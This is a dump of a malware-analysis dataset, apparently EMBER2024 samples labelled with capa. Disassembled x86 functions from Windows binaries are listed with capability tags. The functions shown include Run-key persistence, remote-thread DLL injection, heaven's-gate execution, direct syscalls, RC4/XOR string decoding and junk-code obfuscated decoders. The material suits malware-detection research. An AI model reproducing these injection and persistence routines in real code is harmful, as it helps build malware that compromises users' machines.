joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401340
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Get windows directory from kuser_shared_data

Disassembly:
mov eax, dword [0x80bc08]
sub esp, 0x20c
push ebp
mov ebp, ecx
push esi
push edi
test eax, eax
je 0x4014ed
cmp dword [0x80bc0c], 0
jne 0x4014d9
xor eax, eax
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], ax
mov byte [esp + 0x1e], al
lea eax, [esp + 0x20]
push eax
call fcn.004016a0
add esp, 0xc
xor edi, edi
xor eax, eax
nop
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x401390
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x18]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41a0d4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + edi + 0x18], dl
cmp esi, 0x100
jb 0x4013a0
xor esi, esi
xor edi, edi
xor edx, edx
lea eax, [esi + 1]
movzx esi, al
mov cl, byte [esp + esi + 0x18]
movzx eax, cl
add eax, edi
movzx edi, al
movzx eax, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edi + 0x18], cl
movzx eax, byte [esp + esi + 0x18]
movzx ecx, cl
add ecx, eax
movzx eax, cl
movzx eax, byte [esp + eax + 0x18]
xor al, byte [edx + 0x41a0d8]
mov byte [esp + edx + 0xc], al
inc edx
cmp edx, 0xb
jb 0x4013d5
push 0x200
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.004016a0
mov edx, 0x7ffe0030
add esp, 0xc
xor ecx, ecx
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x401434
sub edx, esi
sar edx, 1
je 0x4014ed
mov esi, ebp
lea edi, [esi + 1]
mov edi, edi
mov al, byte [esi]
inc esi
test al, al
jne 0x401450
sub esi, edi
add edx, 0xc
add edx, esi
cmp edx, 0x200
ja 0x4014ed
xor eax, eax
push ebx
test edx, edx
je 0x401488
movzx ebx, word [eax + eax + 0x7ffe0030]
test bx, bx
je 0x401488
mov byte [esp + eax + 0x1c], bl
inc ecx
inc eax
cmp eax, edx
jb 0x401471
xor eax, eax
test edx, edx
je 0x4014a2
mov edi, edi
mov bl, byte [esp + eax + 0x10]
test bl, bl
je 0x4014a2
mov byte [esp + ecx + 0x1c], bl
inc eax
inc ecx
cmp eax, edx
jb 0x401490
xor eax, eax
test edx, edx
je 0x4014bf
lea ecx, [esp + ecx + 0x1c]
lea esp, [esp]
mov bl, byte [eax + ebp]
test bl, bl
je 0x4014bf
mov byte [ecx], bl
inc eax
inc ecx
cmp eax, edx
jb 0x4014b0
push 8
push 0
lea eax, [esp + 0x24]
push eax
call dword [0x80bc08]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
push 0x800
push 0
push ebp
call eax
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x20c
ret
Function at 0x401d80
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0xc08
push ebx
push ebp
mov dword [esp + 0xc], edx
xor edx, edx
mov dword [esp + 8], edx
push esi
push edi
test ecx, ecx
je 0x401dcb
xor esi, esi
lea edi, [esp + 0x818]
mov al, byte [esi + ecx]
test al, al
je 0x401dbb
cbw
inc esi
mov word [edi], ax
add edi, 2
cmp esi, 0x1ff
jb 0x401da1
jmp 0x401dc0
xor eax, eax
mov word [edi], ax
lea edx, [esp + 0x818]
mov dword [esp + 0x10], edx
xor edi, edi
xor ebp, ebp
test edx, edx
je 0x401e1b
mov edi, edx
lea ecx, [edi + 2]
jmp 0x401de0
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x401de0
sub edi, ecx
sar edi, 1
cmp edi, 0x200
jb 0x401dfc
mov edi, 0x1ff
push edi
push edx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00402af0
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x401e3d
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x401eb0
mov esi, dword [ebx]
cmp esi, ebx
je 0x401eb0
test esi, esi
je 0x401eb0
cmp word [esi + 0x24], 2
jbe 0x401eaa
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x401eaa
cmp dword [esi + 0x18], 0
je 0x401eaa
test ebp, ebp
je 0x401e65
cmp ebp, eax
jne 0x401eaa
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00402af0
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
mov eax, dword [esp + 0x14]
test eax, eax
je 0x401e8a
cmp eax, dword [esi + 0x18]
jne 0x401eaa
cmp dword [esp + 0x10], 0
je 0x401ebd
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.00403750
add esp, 8
test eax, eax
je 0x401ebd
mov esi, dword [esi]
cmp esi, ebx
jne 0x401e43
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc08
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc08
ret
Function at 0x402240
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0x808
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x10], edx
xor ebp, ebp
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x40229b
mov edi, ecx
lea edx, [edi + 2]
nop
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x402260
sub edi, edx
sar edi, 1
cmp edi, 0x200
jb 0x40227c
mov edi, 0x1ff
push edi
push ecx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00402af0
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x4022bd
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x40232f
mov esi, dword [ebx]
cmp esi, ebx
je 0x40232f
test esi, esi
je 0x40232f
cmp word [esi + 0x24], 2
jbe 0x402329
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x402329
cmp dword [esi + 0x18], 0
je 0x402329
test ebp, ebp
je 0x4022e5
cmp ebp, eax
jne 0x402329
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00402af0
mov edx, dword [esp + 0x1c]
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
test edx, edx
je 0x40230a
cmp edx, dword [esi + 0x18]
jne 0x402329
cmp dword [esp + 0x14], eax
je 0x40233c
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.00403750
add esp, 8
test eax, eax
je 0x40233c
mov esi, dword [esi]
cmp esi, ebx
jne 0x4022c3
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x808
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
Function at 0x402970
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
sub esp, 0x40
push ebx
push esi
push edi
test ecx, ecx
jle 0x402998
mov eax, dword [ebp + 0x10]
lea edx, [ebp + 0x18]
dec ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0xc], ecx
mov dword [ebp - 0xc], eax
jmp 0x4029a6
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
test ecx, ecx
jle 0x4029bf
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x4029cd
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
test ecx, ecx
jle 0x4029e6
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x4029f4
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
test ecx, ecx
jle 0x402a0d
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x24], eax
jmp 0x402a1b
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov eax, edx
mov dword [ebp - 0x30], 0
cdq
mov dword [ebp - 0x40], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov word [ebp - 8], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 4], esp
and esp, 0xfffffff0
push 0x33
call 0x402a62
add dword [esp], 5
retf
Function at 0x402ef0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [0x80cc0c]
sub esp, 0x11c
test eax, eax
jne 0x402fee
push ebx
push esi
push edi
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov word [esp + 0x2c], ax
lea eax, [esp + 0x30]
push eax
call fcn.004016a0
add esp, 0xc
xor edi, edi
xor eax, eax
lea ebx, [ebx]
mov byte [esp + eax + 0x28], al
inc eax
cmp eax, 0x100
jb 0x402f40
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x28]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41a100]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x28]
mov byte [esp + esi + 0x28], al
inc esi
mov byte [esp + edi + 0x28], dl
cmp esi, 0x100
jb 0x402f50
xor edi, edi
xor ebx, ebx
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x28]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
movzx eax, byte [esp + ebx + 0x28]
mov byte [esp + edi + 0x28], al
mov byte [esp + ebx + 0x28], cl
movzx eax, byte [esp + edi + 0x28]
add eax, edx
movzx eax, al
movzx eax, byte [esp + eax + 0x28]
xor al, byte [esi + 0x41a104]
mov byte [esp + esi + 0xc], al
inc esi
cmp esi, 0x1a
jb 0x402f85
xor edx, edx
lea ecx, [esp + 0xc]
call fcn.00402240
pop edi
pop esi
pop ebx
test eax, eax
je 0x402fe9
mov eax, dword [eax + 0x18]
test eax, eax
je 0x402fe9
mov dword [0x80cc0c], eax
add esp, 0x11c
ret
mov eax, dword [0x80cc0c]
add esp, 0x11c
ret
Function at 0x404300
Capabilities:
Check os version

Disassembly:
mov ecx, 1
mov edx, 0x80bd48
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x404429
cmp dword fs:[0xc0], eax
je 0x40432b
mov dword [0x80bd44], 1
mov eax, dword fs:[0x18]
push ebx
push esi
mov ebx, 1
mov esi, dword [eax + 0x30]
mov eax, dword [esi + 0xa4]
mov dword [0x80bc2c], eax
mov eax, dword [esi + 0xa8]
mov dword [0x80bc30], eax
movzx edx, word [esi + 0xac]
mov dword [0x80bc34], edx
mov eax, dword [esi + 0xb0]
mov dword [0x80bc38], eax
mov eax, dword [esi + 0x1f4]
test eax, eax
je 0x40438b
push 0x7f
push eax
push 0x80bc3c
call fcn.00402af0
mov edx, dword [0x80bc34]
add esp, 0xc
jmp 0x404393
xor eax, eax
mov word [0x80bc3c], ax
movzx eax, byte [esi + 0xaf]
mov ecx, 0xff
mov word [0x80bd3c], ax
movzx eax, word [esi + 0xae]
and ax, cx
mov word [0x80bd3e], ax
movzx eax, word [0x7ffe02d0]
mov word [0x80bd40], ax
mov ecx, eax
mov byte [0x80bd42], 0
cmp byte [0x7ffe0268], 0
je 0x4043da
mov ebx, dword [0x7ffe0264]
pop esi
mov byte [0x80bd42], bl
cmp ebx, 1
pop ebx
jne 0x4043f4
and ecx, 0xffef
mov word [0x80bd40], cx
test edx, edx
jne 0x404429
call fcn.00404300
cmp dword [0x80bc2c], 6
ja 0x404429
jb 0x404411
cmp dword [0x80bc30], 4
jae 0x404429
call fcn.00404300
cmp dword [0x80bc2c], 0xa
jae 0x404429
mov dword [0x80bc34], 1
ret

Function at 0x4190d2
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret
Function at 0x4e6e46
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, ecx
xor ecx, ecx
mov dword [ebp - 0xc], ecx
cmp dword [esi + 0x24], ecx
jbe 0x4e6ee3
push ebx
push edi
xor ebx, ebx
mov eax, dword [esi + 0x20]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 4]
push edx
lea edx, [ebp - 8]
push edx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], 4
mov edi, dword [ebx + eax + 4]
mov eax, dword [esi + 4]
push ecx
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x10], eax
mov eax, dword [0x5020c0]
cmp eax, 0x5020c0
je 0x4e6ea8
test byte [eax + 0x1c], 8
jne 0x4f082d
cmp dword [ebp - 0x10], 0
jne 0x4e6ecf
cmp dword [ebp - 8], 4
jne 0x4e6ecf
mov eax, dword [esi + 0x20]
add eax, ebx
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x4e6ec9
cmp dword [ebp - 4], ecx
ja 0x4f084e
mov ecx, dword [ebp - 4]
mov dword [eax + 8], ecx
inc dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
add ebx, 0x10
cmp eax, dword [esi + 0x24]
jae 0x4e6ee1
xor ecx, ecx
jmp 0x4e6e63
pop edi
pop ebx
mov byte [esi + 0x28], 1
pop esi
leave
ret
Function at 0x6ee812f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x6ee81325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x6ee81325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6ee8132c
mov eax, 1
jmp 0x6ee81331
mov eax, 0
leave
ret

Function at 0x6ee81333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x418]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], str.BuildingBlock.exe
mov dword [ebp - 0x14], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x18], str.BuildingBlock
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
jmp 0x6ee81382
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
jne 0x6ee8137e
jmp 0x6ee81392
sub dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0x5c
jne 0x6ee8138e
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
mov dword [ebp - 0x41c], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 7
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x6ee814f7
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6ee8162a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6ee81698
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x6ee81cb0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6ee8603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6ee86034]
sub esp, 4
test ebx, ebx
je 0x6ee81cfb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6ee81cf4
test esi, esi
je 0x6ee81cf4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6ee81cd0
mov dword [esp], 0x6ee8603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6ee81ee0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6ee841d8
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6ee81f30
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6ee82008
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6ee81f6e
cmp eax, 4
jne 0x6ee81f90
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6ee81f7e
cmp edx, 4
je 0x6ee81f7e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6ee81ee0
Function at 0x401000
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
inc ebx
sub esi, 0xe8
bswap edi
neg ebx
inc edi
rol edx, 0x39
inc edx
add esi, 0x76
imul esi
rol eax, 0x6e
sub edi, 0x13
rcr eax, 0xc3
imul ebx
or edi, 0xce
sbb edx, 0x26
sub edx, 0xdd
sub ebx, 0x55
ror eax, 5
inc eax
bswap edi
rol esi, 0x77
rcr edx, 0x30
or ebx, 0xe4
dec edi
rcl eax, 0x76
imul edi
not edx
bswap esi
sub ebx, 0xda
and edx, 0x9c
sub ebx, 0x37
and ebx, 0x7c
inc edx
bswap eax
dec esi
mov edx, 0xa5
mov eax, 0x31
inc ebx
rol edi, 0xd5
inc edx
imul edi
ror edx, 0x24
add eax, 0xdb
bswap edi
or eax, 5
sbb ebx, 0x74
neg esi
neg esi
rcl esi, 0xd0
or ebx, 0x6f
xor ecx, ecx
xor edi, edi
rcl eax, 0x15
inc esi
not ebx
imul eax
and eax, 0xcb
bswap ebx
dec ebx
rcr eax, 0xd
dec eax
bswap edx
inc edx
sbb edx, 0x36
add esi, 0
sub ebx, 0x9d
and eax, 2
imul edi
add ebx, 0x5a
not esi
sbb edi, 1
rcl edi, 0x95
or edi, 0xe3
rol edx, 0x91
bswap edi
rcl edi, 0xfd
rcl edi, 0x56
sbb ebx, 0x91
ror edx, 0x37
neg edi
and edi, 0xb0
and ebx, 0xff
neg ebx
rcr edi, 0xa4
rol eax, 0xf1
rcr eax, 0x5f
and ebx, 0x83
or edx, 0x9a
ror edi, 0xa1
bswap eax
dec ebx
rcr eax, 0x1c
bswap edx
sbb eax, 0x80
add eax, 0xc4
rcl edx, 0x3d
imul ebx
not eax
neg esi
inc ebx
dec ebx
not edi
mov ecx, dword [ebp + 0xc]
neg edi
add edx, 0xd0
imul eax
dec esi
imul eax
neg edi
inc edi
rcr eax, 0xdf
rol ebx, 0x85
or eax, 0x29
inc esi
or esi, 0xba
rcl eax, 0x67
not eax
sbb esi, 0x42
not edx
sub edi, 0x2b
dec esi
imul edx
imul eax
sub ebx, 0xda
rcl eax, 0xc5
and eax, 0x80
and esi, 0x41
neg edx
inc eax
rol esi, 0x72
rol eax, 0x31
inc eax
or edx, 0x95
neg eax
sbb edx, 0x69
imul edx
inc ebx
bswap edx
inc eax
rol ebx, 0xdd
add edx, 0x7e
neg esi
inc edi
dec ebx
inc esi
neg edx
sbb ebx, 0x35
mov ebx, 0xda
rcl esi, 0xda
neg edi
imul ebx
bswap eax
or ebx, 0xd9
mov edi, dword [ebp + 8]
mov eax, esi
mov ebx, ebx
mov esi, esi
mov eax, eax
xor eax, esi
xor esi, ebx
xor esi, eax
mov eax, esi
mov esi, eax
mov ebx, eax
xor esi, esi
xor ebx, eax
not byte [edi]
xor eax, eax
mov ebx, esi
mov ebx, esi
mov esi, ebx
xor esi, eax
xor ebx, eax
xor eax, esi
xor eax, eax
xor eax, eax
sub byte [edi], 0x96
mov esi, esi
xor ebx, eax
xor esi, esi
mov ebx, ebx
mov ebx, esi
mov ebx, esi
mov ebx, ebx
mov esi, esi
mov eax, esi
add byte [edi], 0x54
xor esi, ebx
xor ebx, esi
xor esi, esi
xor esi, ebx
mov ebx, ebx
mov esi, ebx
mov esi, esi
mov esi, esi
mov eax, ebx
imul byte [edi]
inc edi
loop 0x4011bb
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401220
Capabilities:
Encode data using add xor sub operations

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
sbb eax, 0x3c
ror eax, 0xda
imul edx
imul edx
and edi, 0x85
and edi, 0x93
rcr esi, 0x50
add eax, 0xdb
imul ebx
sbb esi, 0x52
not edi
rcr esi, 0x6c
ror edi, 0xb8
not ebx
inc eax
imul ebx
neg esi
rcl eax, 0xaa
not esi
not esi
inc edx
not ebx
inc edx
bswap ebx
imul eax
rol edi, 0x72
rol esi, 0x52
sub ebx, 0x54
and ebx, 0xac
rol edi, 0xca
sbb edi, 0x9a
bswap eax
bswap esi
not esi
imul esi
imul edi
inc esi
imul esi
not edx
dec ebx
rcl eax, 0x3b
rcl edx, 0x81
add eax, 0x5a
ror ebx, 0xb5
neg edx
dec eax
rcr ebx, 0x49
imul edx
sbb edi, 2
ror ebx, 0xbd
xor ecx, ecx
xor edi, edi
sub esi, 0xdd
not eax
inc ebx
dec ebx
add ebx, 0x47
not esi
rcl esi, 0xb9
or edx, 0x7c
bswap edi
not eax
imul ebx
not eax
inc esi
mov edx, 0x46
bswap eax
rcl edi, 0x4f
bswap eax
neg edx
or eax, 0x7b
rcr esi, 0x14
ror edx, 0x63
inc eax
dec edx
rcr edi, 0x73
rcr edx, 0x8e
sub esi, 0x1d
neg eax
neg edi
inc edi
sbb edi, 0xc0
rcr ebx, 0xc9
rol ebx, 0xca
bswap eax
bswap eax
or ebx, 0x4a
rol ebx, 0xb3
dec edx
and ebx, 0xbc
add edi, 0xe3
dec edx
inc ebx
add ebx, 0x75
rcl eax, 0x7e
mov eax, 0xc1
mov eax, 0x92
or edx, 0x43
bswap esi
rcr edi, 0xc5
inc esi
imul edi
mov ecx, dword [ebp + 0xc]
neg eax
imul esi
dec esi
rcr edi, 0x6b
imul edx
imul esi
and eax, 0x6f
mov eax, 0xcb
imul eax
imul edi
and ebx, 0x6b
inc ebx
ror eax, 0xe8
inc ebx
mov esi, 0xb8
imul esi
imul esi
rcr ebx, 0x9f
inc edx
ror edi, 0x40
ror ebx, 0x92
imul esi
sbb edx, 0x6a
dec esi
not esi
rol edi, 0xd
bswap eax
rol ebx, 0x7f
rcr eax, 0x96
dec edx
rol edx, 0xb
add edx, 0x88
bswap edx
rol edi, 0x9f
sub ebx, 0x2b
rol ebx, 0x24
inc eax
inc edx
bswap edi
not eax
neg edi
dec eax
rcr edx, 0x7d
bswap edi
or esi, 0x66
mov esi, 0x63
bswap edx
sbb edi, 0x14
not eax
add ebx, 0x6d
mov edi, dword [ebp + 8]
xor esi, ebx
mov esi, ebx
xor ebx, ebx
not byte [edi]
mov eax, esi
mov eax, eax
mov ebx, ebx
mov ebx, ebx
mov ebx, eax
xor ebx, esi
xor eax, ebx
xor eax, esi
